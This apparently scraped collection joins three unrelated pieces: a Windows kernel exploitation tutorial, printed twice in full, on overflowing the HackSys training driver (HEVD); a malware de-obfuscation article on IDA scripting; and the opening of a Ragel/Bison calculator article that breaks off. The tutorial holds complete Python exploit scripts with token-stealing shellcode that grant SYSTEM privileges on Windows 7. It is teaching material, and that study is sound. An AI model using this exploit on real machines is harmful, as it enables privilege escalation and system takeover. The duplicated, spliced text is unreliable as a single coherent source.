  

  

# Windows Kernel Exploitation Tutorial Part 2: Stack Overflow

August 1, 2017 rootkit

* * *
## Overview

In the part 1, we looked into how to manually setup the environment for Kernel
Debugging. If something straightforward is what you want, you can look into
this great writeup by hexblog about setting up the VirtualKd for much faster
debugging.

In this post, we’d dive deep into the kernel space, and look into our first
Stack Overflow example in kernel space through driver exploitation.

A shoutout to hacksysteam for the vulnerable driver HEVD, and fuzzySecurity,
for a really good writeup on the topic.

* * *
## Setting up the driver

For this tutorial, we’d be exploiting the stack overflow module in the HEVD
driver. Download the source from github, and either you can build the driver
yourself from the steps mentioned on the github page, or download the
vulnerable version here and select the one according to the architecture
\(32-bit or 64-bit\).

Then, just load the driver in the debugee VM using the OSR Loader as shown
below:

<img src='img/osr.png' width='577' height='739' alt='OSR' />

Check if the driver has been successfully loaded in the debugee VM.

<img src='img/osr1.png' width='521' height='250' />

There’s also a .pdb symbol file included with the driver, which you can use as
well.

Once the driver is successfully loaded, we can now proceed to analyze the
vulnerability.

* * *
## Analysis

If we look into the source code of the driver, and see the StackOverflow.c
file, hacksysteam has done a really good job in demonstrating both the
vulnerable and the secure version of the driver code.

12345678910111213141516171819 | \#ifdef SECURE// Secure Note: This is secure because the developer is passing a size// equal to size of KernelBuffer to RtlCopyMemory\(\)/memcpy\(\). Hence,// there will be no overflowRtlCopyMemory\(\(PVOID\)KernelBuffer, UserBuffer, sizeof\(KernelBuffer\)\);\#elseDbgPrint\("\[+\] Triggering Stack Overflow\n"\); // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability// because the developer is passing the user supplied size directly to// RtlCopyMemory\(\)/memcpy\(\) without validating if the size is greater or// equal to the size of KernelBufferRtlCopyMemory\(\(PVOID\)KernelBuffer, UserBuffer, Size\);\#endif\}\_\_except \(EXCEPTION\_EXECUTE\_HANDLER\) \{Status = GetExceptionCode\(\);DbgPrint\("\[-\] Exception Code: 0x%X\n", Status\);\}  
---|---  
Here we see that in the insecure version, RtlCopyMemory\(\) is taking the user
supplied size directly without even validating it, whereas in the secure
version, the size is limited to the size of the kernel buffer. This
vulnerability in the insecure version enables us to exploit the stack overflow
vulnerability.

Let’s analyze the driver in IDA Pro, to understand how and where the Stack
Overflow module is triggered:

<img src='img/12781_ida1.png' width='435' height='475' alt='ida1' />

From the flow, let’s analyze the IrpDeviceIoCtlHandler call.

<img src='img/12779_ida2.png' width='1176' height='511' alt='ida2' />

We see that if the IOCTL is 0x222003h, the pointer jumps to the StackOverflow
module. So, we now have the way to call the Stack Overflow module, let’s look
into the TriggerStackOverflow function.

<img src='img/12782_ida3.png' width='785' height='703' alt='Ida3' />

Important thing to note here is the length defined for the KernelBuffer, i.e.
0x800h \(2048\).

* * *
## Exploitation

Now that we have all the relevant information, let’s start building our
exploit. I’d be using DeviceIoControl\(\) to interact with the driver, and
python to build our exploit.

1234567891011121314 | import ctypes, sysfrom ctypes import \* kernel32 = windll.kernel32hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle." sys.exit\(0\) buf = "A"\*2048bufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x222003, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\)  
---|---  
Let’s fire up the WinDbg in debugger machine, put a breakpoint at
TriggerStackOverflow function and analyze the behavior when we send the data
of length 0x800h \(2048\).

123 | \!sym noisy.reload;ed Kd\_DEFAULT\_Mask 8;bp HEVD\!TriggerStackOverflow  
---|---  
<img src='img/windbg1.png' width='947' height='914' alt='Windbg1' />

What we see is, that though our breakpoint is hit, there’s no overflow or
crash that occured. Let’s increase the buffer size to 0x900 \(2304\) and
analyze the output.

<img src='img/windbg2.png' width='656' height='911' alt='Windbg2' />

Bingo, we get a crash, and we can clearly see that it’s a vanilla EIP
overwrite, and we are able to overwrite EBP as well.

Through the classic metasploit’s pattern create and offset scripts, we can
easily figure out the offset for EIP, and adjusting for the offset, the script
looks like:

1234567891011121314 | import ctypes, sysfrom ctypes import \* kernel32 = windll.kernel32hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle." sys.exit\(0\) buf = "A"\*2080 + "B"\*4 + "C"\*220bufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x222003, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\)  
---|---  
<img src='img/windbg3.png' width='635' height='206' alt='windbg3' />

Now that we have the control of EIP and have execution in kernel space, let’s
proceed with writing our payload.

Because of the DEP, we can’t just execute the instructions directly passed
onto the stack, apart from return instructions. There are several methods to
bypass DEP, but for the simplicity, I’d be using VirtualAlloc\(\) to allocate
a new block of executable memory, and copy our shellcode in that to be
executed.

And for our shellcode, I’d be using the sample token stealing payload given by
the hacksysteam in their payloads.c file.

12345678910111213141516171819202122232425 | pushad ; Save registers state ; Start of Token Stealing Stubxor eax, eax ; Set ZEROmov eax, fs:\[eax + KTHREAD\_OFFSET\] ; Get nt\!\_KPCR.PcrbData.CurrentThread; \_KTHREAD is located at FS:\[0x124\] mov eax, \[eax + EPROCESS\_OFFSET\] ; Get nt\!\_KTHREAD.ApcState.Process mov ecx, eax ; Copy current process \_EPROCESS structure mov edx, SYSTEM\_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID:mov eax, \[eax + FLINK\_OFFSET\] ; Get nt\!\_EPROCESS.ActiveProcessLinks.Flinksub eax, FLINK\_OFFSETcmp \[eax + PID\_OFFSET\], edx ; Get nt\!\_EPROCESS.UniqueProcessIdjne SearchSystemPID mov edx, \[eax + TOKEN\_OFFSET\] ; Get SYSTEM process nt\!\_EPROCESS.Tokenmov \[ecx + TOKEN\_OFFSET\], edx ; Replace target process nt\!\_EPROCESS.Token; with SYSTEM process nt\!\_EPROCESS.Token; End of Token Stealing Stub popad ; Restore registers state  
---|---  
Basically this shellcode saves the register state, finds the current process
token and saves it, then finds the SYSTEM process pid, extracts the SYSTEM
process token, replace the current process’s token with the SYSTEM process
token, and restore the registers. As Windows 7 has SYSTEM pid 4, the shellcode
can be written as:

123456789101112131415161718192021222324252627282930313233343536 | import ctypes, sys, structfrom ctypes import \* kernel32 = windll.kernel32hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle" sys.exit\(0\) shellcode = ""shellcode += bytearray\( "\x60" \# pushad "\x31\xc0" \# xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" \# mov eax,\[fs:eax+0x124\] "\x8b\x40\x50" \# mov eax,\[eax+0x50\] "\x89\xc1" \# mov ecx,eax "\xba\x04\x00\x00\x00" \# mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" \# mov eax,\[eax+0xb8\] "\x2d\xb8\x00\x00\x00" \# sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" \# cmp \[eax+0xb4\],edx "\x75\xed" \# jnz 0x1a "\x8b\x90\xf8\x00\x00\x00" \# mov edx,\[eax+0xf8\] "\x89\x91\xf8\x00\x00\x00" \# mov \[ecx+0xf8\],edx "\x61" \# popad\) ptr = kernel32.VirtualAlloc\(c\_int\(0\),c\_int\(len\(shellcode\)\),c\_int\(0x3000\),c\_int\(0x40\)\)buff = \(c\_char \* len\(shellcode\)\).from\_buffer\(shellcode\)kernel32.RtlMoveMemory\(c\_int\(ptr\),buff,c\_int\(len\(shellcode\)\)\)shellcode\_final = struct.pack\("<L",ptr\) buf = "A"\*2080 + shellcode\_finalbufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x222003, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\)  
---|---  
But we soon hit a problem here during execution:

<img src='img/windbg4.png' width='743' height='915' alt='Windbg4' />

We see that our application recovery mechanism is flawed, and though our
shellcode is in memory and executing, the application isn’t able to resume its
normal operations. So, we would need to modify and add the instructions that
we overwrote, which should help the driver resume it’s normal execution flow.
Let’s analyze the behaviour of the application normally, without the
shellcode.

<img src='img/windbg5.png' width='669' height='910' alt='Windbg5' />

We see that we just need to add _pop ebp_ and _ret 8_ after our shellcode is
executed for the driver recovery. The final shellcode, after this, becomes:

123456789101112131415161718192021222324252627282930313233343536373839404142434445 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle" sys.exit\(0\) shellcode = "" shellcode += bytearray\( "\x60" \# pushad "\x31\xc0" \# xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" \# mov eax,\[fs:eax+0x124\] "\x8b\x40\x50" \# mov eax,\[eax+0x50\] "\x89\xc1" \# mov ecx,eax "\xba\x04\x00\x00\x00" \# mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" \# mov eax,\[eax+0xb8\] "\x2d\xb8\x00\x00\x00" \# sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" \# cmp \[eax+0xb4\],edx "\x75\xed" \# jnz 0x1a "\x8b\x90\xf8\x00\x00\x00" \# mov edx,\[eax+0xf8\] "\x89\x91\xf8\x00\x00\x00" \# mov \[ecx+0xf8\],edx "\x61" \# popad "\x31\xc0" \# xor eax,eax "\x5d" \# pop ebp "\xc2\x08\x00" \# ret 0x8 \) ptr = kernel32.VirtualAlloc\(c\_int\(0\),c\_int\(len\(shellcode\)\),c\_int\(0x3000\),c\_int\(0x40\)\) buff = \(c\_char \* len\(shellcode\)\).from\_buffer\(shellcode\) kernel32.RtlMoveMemory\(c\_int\(ptr\),buff,c\_int\(len\(shellcode\)\)\) shellcode\_final = struct.pack\("<L",ptr\) buf = "A"\*2080 + shellcode\_final bufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x222003, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\) Popen\("start cmd", shell=True\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
And W00tW00t, we get the _nt authority\system_ privileges, successfully
exploiting our vulnerability.

<img src='img/system.png' width='936' height='433' alt='system' />

Posted in Kernel, TutorialTagged Exploitation, Kernel, Stack Overflow,
Tutorial, Windows

# Windows Kernel Exploitation Tutorial Part 2: Stack Overflow

August 1, 2017 rootkit

* * *
## Overview

In the part 1, we looked into how to manually setup the environment for Kernel
Debugging. If something straightforward is what you want, you can look into
this great writeup by hexblog about setting up the VirtualKd for much faster
debugging.

In this post, we’d dive deep into the kernel space, and look into our first
Stack Overflow example in kernel space through driver exploitation.

A shoutout to hacksysteam for the vulnerable driver HEVD, and fuzzySecurity,
for a really good writeup on the topic.

* * *
## Setting up the driver

For this tutorial, we’d be exploiting the stack overflow module in the HEVD
driver. Download the source from github, and either you can build the driver
yourself from the steps mentioned on the github page, or download the
vulnerable version here and select the one according to the architecture
\(32-bit or 64-bit\).

Then, just load the driver in the debugee VM using the OSR Loader as shown
below:

<img src='img/osr.png' width='577' height='739' alt='OSR' />

Check if the driver has been successfully loaded in the debugee VM.

<img src='img/osr1.png' width='521' height='250' />

There’s also a .pdb symbol file included with the driver, which you can use as
well.

Once the driver is successfully loaded, we can now proceed to analyze the
vulnerability.

* * *
## Analysis

If we look into the source code of the driver, and see the StackOverflow.c
file, hacksysteam has done a really good job in demonstrating both the
vulnerable and the secure version of the driver code.

12345678910111213141516171819 | \#ifdef SECURE// Secure Note: This is secure because the developer is passing a size// equal to size of KernelBuffer to RtlCopyMemory\(\)/memcpy\(\). Hence,// there will be no overflowRtlCopyMemory\(\(PVOID\)KernelBuffer, UserBuffer, sizeof\(KernelBuffer\)\);\#elseDbgPrint\("\[+\] Triggering Stack Overflow\n"\); // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability// because the developer is passing the user supplied size directly to// RtlCopyMemory\(\)/memcpy\(\) without validating if the size is greater or// equal to the size of KernelBufferRtlCopyMemory\(\(PVOID\)KernelBuffer, UserBuffer, Size\);\#endif\}\_\_except \(EXCEPTION\_EXECUTE\_HANDLER\) \{Status = GetExceptionCode\(\);DbgPrint\("\[-\] Exception Code: 0x%X\n", Status\);\}  
---|---  
Here we see that in the insecure version, RtlCopyMemory\(\) is taking the user
supplied size directly without even validating it, whereas in the secure
version, the size is limited to the size of the kernel buffer. This
vulnerability in the insecure version enables us to exploit the stack overflow
vulnerability.

Let’s analyze the driver in IDA Pro, to understand how and where the Stack
Overflow module is triggered:

<img src='img/12781_ida1.png' width='435' height='475' alt='ida1' />

From the flow, let’s analyze the IrpDeviceIoCtlHandler call.

<img src='img/12779_ida2.png' width='1176' height='511' alt='ida2' />

We see that if the IOCTL is 0x222003h, the pointer jumps to the StackOverflow
module. So, we now have the way to call the Stack Overflow module, let’s look
into the TriggerStackOverflow function.

<img src='img/12782_ida3.png' width='785' height='703' alt='Ida3' />

Important thing to note here is the length defined for the KernelBuffer, i.e.
0x800h \(2048\).

* * *
## Exploitation

Now that we have all the relevant information, let’s start building our
exploit. I’d be using DeviceIoControl\(\) to interact with the driver, and
python to build our exploit.

1234567891011121314 | import ctypes, sysfrom ctypes import \* kernel32 = windll.kernel32hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle." sys.exit\(0\) buf = "A"\*2048bufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x222003, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\)  
---|---  
Let’s fire up the WinDbg in debugger machine, put a breakpoint at
TriggerStackOverflow function and analyze the behavior when we send the data
of length 0x800h \(2048\).

123 | \!sym noisy.reload;ed Kd\_DEFAULT\_Mask 8;bp HEVD\!TriggerStackOverflow  
---|---  
<img src='img/windbg1.png' width='947' height='914' alt='Windbg1' />

What we see is, that though our breakpoint is hit, there’s no overflow or
crash that occured. Let’s increase the buffer size to 0x900 \(2304\) and
analyze the output.

<img src='img/windbg2.png' width='656' height='911' alt='Windbg2' />

Bingo, we get a crash, and we can clearly see that it’s a vanilla EIP
overwrite, and we are able to overwrite EBP as well.

Through the classic metasploit’s pattern create and offset scripts, we can
easily figure out the offset for EIP, and adjusting for the offset, the script
looks like:

1234567891011121314 | import ctypes, sysfrom ctypes import \* kernel32 = windll.kernel32hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle." sys.exit\(0\) buf = "A"\*2080 + "B"\*4 + "C"\*220bufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x222003, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\)  
---|---  
<img src='img/windbg3.png' width='635' height='206' alt='windbg3' />

Now that we have the control of EIP and have execution in kernel space, let’s
proceed with writing our payload.

Because of the DEP, we can’t just execute the instructions directly passed
onto the stack, apart from return instructions. There are several methods to
bypass DEP, but for the simplicity, I’d be using VirtualAlloc\(\) to allocate
a new block of executable memory, and copy our shellcode in that to be
executed.

And for our shellcode, I’d be using the sample token stealing payload given by
the hacksysteam in their payloads.c file.

12345678910111213141516171819202122232425 | pushad ; Save registers state ; Start of Token Stealing Stubxor eax, eax ; Set ZEROmov eax, fs:\[eax + KTHREAD\_OFFSET\] ; Get nt\!\_KPCR.PcrbData.CurrentThread; \_KTHREAD is located at FS:\[0x124\] mov eax, \[eax + EPROCESS\_OFFSET\] ; Get nt\!\_KTHREAD.ApcState.Process mov ecx, eax ; Copy current process \_EPROCESS structure mov edx, SYSTEM\_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID:mov eax, \[eax + FLINK\_OFFSET\] ; Get nt\!\_EPROCESS.ActiveProcessLinks.Flinksub eax, FLINK\_OFFSETcmp \[eax + PID\_OFFSET\], edx ; Get nt\!\_EPROCESS.UniqueProcessIdjne SearchSystemPID mov edx, \[eax + TOKEN\_OFFSET\] ; Get SYSTEM process nt\!\_EPROCESS.Tokenmov \[ecx + TOKEN\_OFFSET\], edx ; Replace target process nt\!\_EPROCESS.Token; with SYSTEM process nt\!\_EPROCESS.Token; End of Token Stealing Stub popad ; Restore registers state  
---|---  
Basically this shellcode saves the register state, finds the current process
token and saves it, then finds the SYSTEM process pid, extracts the SYSTEM
process token, replace the current process’s token with the SYSTEM process
token, and restore the registers. As Windows 7 has SYSTEM pid 4, the shellcode
can be written as:

123456789101112131415161718192021222324252627282930313233343536 | import ctypes, sys, structfrom ctypes import \* kernel32 = windll.kernel32hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle" sys.exit\(0\) shellcode = ""shellcode += bytearray\( "\x60" \# pushad "\x31\xc0" \# xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" \# mov eax,\[fs:eax+0x124\] "\x8b\x40\x50" \# mov eax,\[eax+0x50\] "\x89\xc1" \# mov ecx,eax "\xba\x04\x00\x00\x00" \# mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" \# mov eax,\[eax+0xb8\] "\x2d\xb8\x00\x00\x00" \# sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" \# cmp \[eax+0xb4\],edx "\x75\xed" \# jnz 0x1a "\x8b\x90\xf8\x00\x00\x00" \# mov edx,\[eax+0xf8\] "\x89\x91\xf8\x00\x00\x00" \# mov \[ecx+0xf8\],edx "\x61" \# popad\) ptr = kernel32.VirtualAlloc\(c\_int\(0\),c\_int\(len\(shellcode\)\),c\_int\(0x3000\),c\_int\(0x40\)\)buff = \(c\_char \* len\(shellcode\)\).from\_buffer\(shellcode\)kernel32.RtlMoveMemory\(c\_int\(ptr\),buff,c\_int\(len\(shellcode\)\)\)shellcode\_final = struct.pack\("<L",ptr\) buf = "A"\*2080 + shellcode\_finalbufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x222003, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\)  
---|---  
But we soon hit a problem here during execution:

<img src='img/windbg4.png' width='743' height='915' alt='Windbg4' />

We see that our application recovery mechanism is flawed, and though our
shellcode is in memory and executing, the application isn’t able to resume its
normal operations. So, we would need to modify and add the instructions that
we overwrote, which should help the driver resume it’s normal execution flow.
Let’s analyze the behaviour of the application normally, without the
shellcode.

<img src='img/windbg5.png' width='669' height='910' alt='Windbg5' />

We see that we just need to add _pop ebp_ and _ret 8_ after our shellcode is
executed for the driver recovery. The final shellcode, after this, becomes:

123456789101112131415161718192021222324252627282930313233343536373839404142434445 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle" sys.exit\(0\) shellcode = "" shellcode += bytearray\( "\x60" \# pushad "\x31\xc0" \# xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" \# mov eax,\[fs:eax+0x124\] "\x8b\x40\x50" \# mov eax,\[eax+0x50\] "\x89\xc1" \# mov ecx,eax "\xba\x04\x00\x00\x00" \# mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" \# mov eax,\[eax+0xb8\] "\x2d\xb8\x00\x00\x00" \# sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" \# cmp \[eax+0xb4\],edx "\x75\xed" \# jnz 0x1a "\x8b\x90\xf8\x00\x00\x00" \# mov edx,\[eax+0xf8\] "\x89\x91\xf8\x00\x00\x00" \# mov \[ecx+0xf8\],edx "\x61" \# popad "\x31\xc0" \# xor eax,eax "\x5d" \# pop ebp "\xc2\x08\x00" \# ret 0x8 \) ptr = kernel32.VirtualAlloc\(c\_int\(0\),c\_int\(len\(shellcode\)\),c\_int\(0x3000\),c\_int\(0x40\)\) buff = \(c\_char \* len\(shellcode\)\).from\_buffer\(shellcode\) kernel32.RtlMoveMemory\(c\_int\(ptr\),buff,c\_int\(len\(shellcode\)\)\) shellcode\_final = struct.pack\("<L",ptr\) buf = "A"\*2080 + shellcode\_final bufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x222003, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\) Popen\("start cmd", shell=True\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
And W00tW00t, we get the _nt authority\system_ privileges, successfully
exploiting our vulnerability.

<img src='img/system.png' width='936' height='433' alt='system' />

Posted in Kernel, TutorialTagged Exploitation, Kernel, Stack Overflow,
Tutorial, Windows

  

# De-obfuscating the obfuscated binaries with visualization | Computer Security Articles
**Created:**| _4/25/2011 12:38:02 PM_  
---|---  
**Updated:**| _4/25/2011 12:38:02 PM_  
**Author:**| __  
**Tags:**| _iDA visualization Obfuscation_  
  

## De-obfuscating the obfuscated binaries with visualization

Recently I spent an afternoon reverse-engineering a few packed and obfuscated
malware binaries. I was curious as to what kind of tactics and methods had
been applied, so I dissected several binaries. I want to share some of my
notes about the techniques that these malware programs used. I also want to
share some of my analytic techniques and a few of the scripts that I used to
help me with the analysis. Most of the obfuscation techniques were in the
realm of polymorphism that has been known for years, even decades. I want to
show you how a few scripting and graphing tools can ease the burden of de-
obfuscating and understanding these malware binaries.

**Fake Exports**

Yes, fake exports. In this case, an executable was exporting multiple entries,
which is unusual. The program exports some random points of the binary with
random names, and IDA \(Interactive DisAssembler\) is so sure that it is a
separate function that it breaks up the control flow.

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/6648.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_1.png'
/>

Illustration 1: A function split by exported entry

It's very hard to remove a function when it's exported. The exported functions
tend to have random names. So I wrote a IDAPython script that searches for
functions with names that are not auto-generated by IDA, and removes them.

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/6215.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_1_5F00_2.png'
/>

It searches for any function that doesn't have name "start" or default name
prefix "sub\_". \[Update: I got a comment that you can also use
GetEntryPointQty\(\)/GetEntryXXX\(\) IDA API to achieve this in more stable
fashion\]

**Visual Interference with NOP repetitions**

As I continued through the disassembly, I found that it had a repeating
pattern that had no meaning at all. The pattern just pushed a register,
modified the same register, and pop it off again. The register did not change
at all. This is just a NOP pattern. And it was inserted all over the place,
making the analysis very tiresome.

The NOP pattern looked like the following.

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/5367.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_2.png'
/>

Illustration 2: Repeating NOPs

Actually, the "db 3eh" byte is not valid according to IDA\[Update: Many folks
pointed out that db 3eh doesn't mean that it's invalid, but meaningless which
is more correct word\], but the processor didn't care. So, all of the red-
boxed regions are simply meaningless overhead put there to make the code more
overwhelming.

To make analysis easier, I simply replaced all such instances with real NOPs.
And I felt a lot better after I did. Here's the script that I used. It
searches for the "50 3e 0f c8 58" byte pattern, which is the hex
representation of the NOP parts, and patches in real NOPs\(0×90…\).

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/0121.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_2_5F00_2.png'
/>

Here's what I got after the script execution.

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/7127.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_3.png'
/>

Illustration 3: NOPs converted to real NOPs

**Basic Block Chunks**

The malware had a lot of chunked code, which malware often includes in
abundance because it is widely known that IDA doesn't deal with it well.
Here's an example of the chunked code. It's heavily split through the binary
using jmp instructions.

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/3312.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_4.png'
/>

Illustration 4: Chunked code using jmps

When you look at it in the graph view, it's almost impossible to decipher. IDA
failed to create a useful graph.

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/8664.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_5.png'
/>

Illustration 5: IDA is especially poor in dealing with code chunks.

So I wrote a script called IDAGrapher to do the analysis correctly even with
chunked basic blocks. And here's the graph that the tool generated. _\[Update:
A person pointed out that you can fix the xrefs to show correct graphs, but in
my case it didn't work for some reason and my grapher doesn't have any
additional algorithm to draw the graphs correctly, so I suppose the IDA graph
functionality is not perfect or sometimes not adequate for use\]_

_<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/0218.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_6.png'
/>  
_

Illustration 6: So it looks much better

It uses power of graphviz \(http://www.graphviz.org/\) graph tool to generate
the graph file.

**Packing**

I started with malware that was packed and the unpacking routine was
obfuscated and I de-obfuscated the unpacking routines. Next I wanted to find
out where the original routine starts.

Here's a portion of the whole graph. The whole graph is huge; however, I just
needed to concentrate on the green blocks. The green blocks are terminal
blocks. Terminal blocks can return or jmp to a register assigned location or a
stack assigned location. So I may not be able to determine the next control
flow easily, but I should be able to determine it dynamically. This means that
it's a strong candidate for the OEP jumping point.

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/7128.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_7.png'
/>

Here's the zoomed-in shot.

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/6116.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_8.png'
/>

Illustration 8: The block that returns to original routines

We can see that it's returning, but sometimes malware just pushes a jump
address onto the stack and uses "ret\*" instructions to achieve code jumps.

So I placed a break on the specific instruction and executed the binary using
the IDA debugger. Here's what I got:

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/4544.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_9.png'
/>

Illustration 9: The point before the jump to original routines

After that, if we "step over" the instruction by pressing F8 key, we get this.

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/0003.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_10.png'
/>

So "sub\_416616" might be the first function called inside the packed binary.
To make it sure, look into the original packed binary, the same location
looked like following.

<img src='http://community.websense.com/resized-
image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/securitylabs/4760.De_5F00_obfuscating_5F00_the_5F00_obfuscated_5F00_with_5F00_visualization_5F00_11.png'
/>

So I can be sure that the binary is unpacked now.

Tracing through the program step-by-step without any idea of the control flow
is very tedious and time consuming. The graphical view generated by the simple
script helped me know where to put a breakpoint to catch the OEP. In this
case, I just had to look into the green blocks.

The source code for this IDA graphing tool is a little bit big, so I put that
on the googlecode site. You can grab the code here
\(http://code.google.com/p/idagrapher/\). The code is far from complete. It's
really just a proof of concept. You can modify the code for your own
situation.

_Security Researchers: Matt Oh_

# Connecting Ragel to Bison in C++ | zusatz
**Created:**| _1/18/2013 8:43:14 AM_  
---|---  
**Updated:**| _1/18/2013 8:43:14 AM_  
**Author:**| __  
**Tags:**| _C++ programming parser_  
  

# Connecting Ragel to Bison in C++

Posted on 2012/07/08

The flow of information from an input source, through a lexical analyzer
\(lexer\) and on into a parser can be thought of as a pipeline. The ‘ideal’
way to represent this in C++ is to model the stages as classes and to
construct the pipeline with instances conforming to a pattern that looks
something like this:

[code]

    Input input(/* file name or buffer */);
    Lexer lexer(input);
    Parser parser(lexer);
    parser.parse();
[/code]

This scheme can be achieved using tools such as ANTLR and Boost.Spirit. Newer
versions of Bison support the generation of C++ meeting the requirement for
the Parser class above. In this article I will show how to construct the Lexer
class using the Ragel scanner generator such that it properly supports the
required Bison interface. I shall present a complete worked example including
all header files, dependencies and build details.

# Calculator

The parser in this article implements the classic infix calculator as found in
the Bison manual and countless other texts covering the basics of parsing. I
choose to describe a calculator because it is straightforward, well documented
and does not, therefore, distract from the main purpose of the article.

I have chosen to omit the description of an input source class in favour of a
much simpler alternative which parses the command-line arguments directly.
This means that the completed program operates such that

[code]

    $ calc 2+2 3*3 6/3
[/code]

will produce the output

[code]

    4
    9
    2
[/code]

# Parser

A Bison grammar input file \(Parser.yy in this example\) takes the following
outline form:

[code]

    preamble (directives, token definitions etc)
    %%
    grammar productions
    %%
    postamble (supporting code)
[/code]

